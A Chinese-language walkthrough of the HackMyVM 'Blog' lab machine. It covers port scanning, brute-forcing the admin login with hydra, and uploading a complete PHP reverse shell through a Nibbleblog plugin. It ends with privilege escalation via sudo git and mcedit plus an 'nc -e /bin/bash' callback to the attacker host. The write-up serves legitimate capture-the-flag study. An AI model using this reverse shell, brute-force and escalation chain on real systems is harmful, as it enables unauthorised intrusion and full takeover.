靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Blog
百度云链接:https://pan.baidu.com/s/1QhThrP6DRdSQdP3bg76uwg?pwd=583p
提取码:583p
靶场: hackmyvm.eu
靶机名称: Blog
难度: 简单
发布时间: 2022年2月17日
提示信息:
无
目标: 2个flag
实验环境
攻击机:VMware kali 192.168.7.3
靶机:Vbox linux IP自动获取
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到主机地址为192.168.7.205
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 192.168.7.205 -oN blog.nmap
扫描到2个开放端口:
22:(SSH)80:(HTTP)
Web渗透
访问80端口
http://192.168.7.205
打开首页是一条Ping命令的记录,ping的目标是blog.hmv,猜测是让我们绑定域名
绑定域名
vi /etc/hosts
绑定后再访问
http://blog.hmv
首页没有变化 ,可能不需要。先做个目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.205 -x php,html,txt,zip
发现my_weblog目录,访问看看
http://192.168.7.1025/my_weblog
打开后是一个正在建设的blog页面。提示欢迎来到admin的blog,说明后台账号极有可能就是admin。先对my_weblog目录做个目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.205/my_weblog -x php,html,txt,zip
扫描到多个url,找了很久也没发现能利用的,只能从后台登录页面下手了
http://192.168.7.205/my_weblog/admin.php
我们抓个包试试sql注入,
sqlmap -u 'http://192.168.7.205:80/my_weblog/admin.php' --data='username=admin&password=123' --cookie='PHPSESSID=3em8egrtsskopa9snm3pmeko3m' --batch
不能注入,用sqlmap跑服务会卡死。暴破下admin的密码
web密码暴破
hydra -l admin -P ../../Dict/SecLists-2021.4/Passwords/xato-net-10-million-passwords-10000.txt 192.168.7.205 http-post-form "/my_weblog/admin.php:username=admin&password=^PASS^:Incorrect" -t 64
暴破出用户admin的密码为kisses,登录后台看看
http://192.168.7.205/my_weblog/admin.php
登录成功,找找有没有漏洞
在插件管理员找到一个图片配置选项,里面可以上传任意文件。传一个反弹shell脚本
shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.7.3'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
上传成功了,但是没有显示文件路径
https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py
搜索引擎中找到一个exp,里面有exploitURL,验证一下
1。kali攻击机中监听4444端口
nc -lvvp 4444
执行payload
http://192.168.7.205/my_weblog/content/private/plugins/my_image/image.php
反弹成功,切换到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xter
Ctrl+z快捷键
stty -a
stty raw -echo;fg
resset
切换完成找一下敏感信息
git命令提权
sudo -l
提示可以使用admin的权限执行git命令,现在用git命令提权到admin权限
sudo -u admin git -p help config
!/bin/bash
提权成功,找一下敏感信息
cat /home/admin/user.txt
(注)执行命令时有点总是切换一次shell即可,后期执行mcedit时也需要xterm否则无法运行成功
pytho3 -c 'import pty;pty.spanw("/bin/bash")'
export TERM=xterm
sudo -l
## mcedit编辑器提权
还是sudo提权,使用root权限执行mcedit
sudo -u root /usr/bin/mcedit
运行后是一个编辑器,在红框中点几点会出现菜单
出现菜单后点击 User menu…选项
接着在弹出的选项卡中双击 Invoke ‘shell’
切换回终端了,查看下权限
id
输入id后可以看到拿到root权限了,但是只显示最后一行很验证,我们反弹到kali攻击机上再操作
1。kali攻击机监听3333端口
nc -lvvp 3333
2。靶机上使用nc反弹
nc 192.168.7.3 3333 -e /bin/bash
反弹成功,找一下flag
cd /root
ls
cat r0000000000000000000000000t.txt
拿到root.txt,游戏结束
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.
发表评论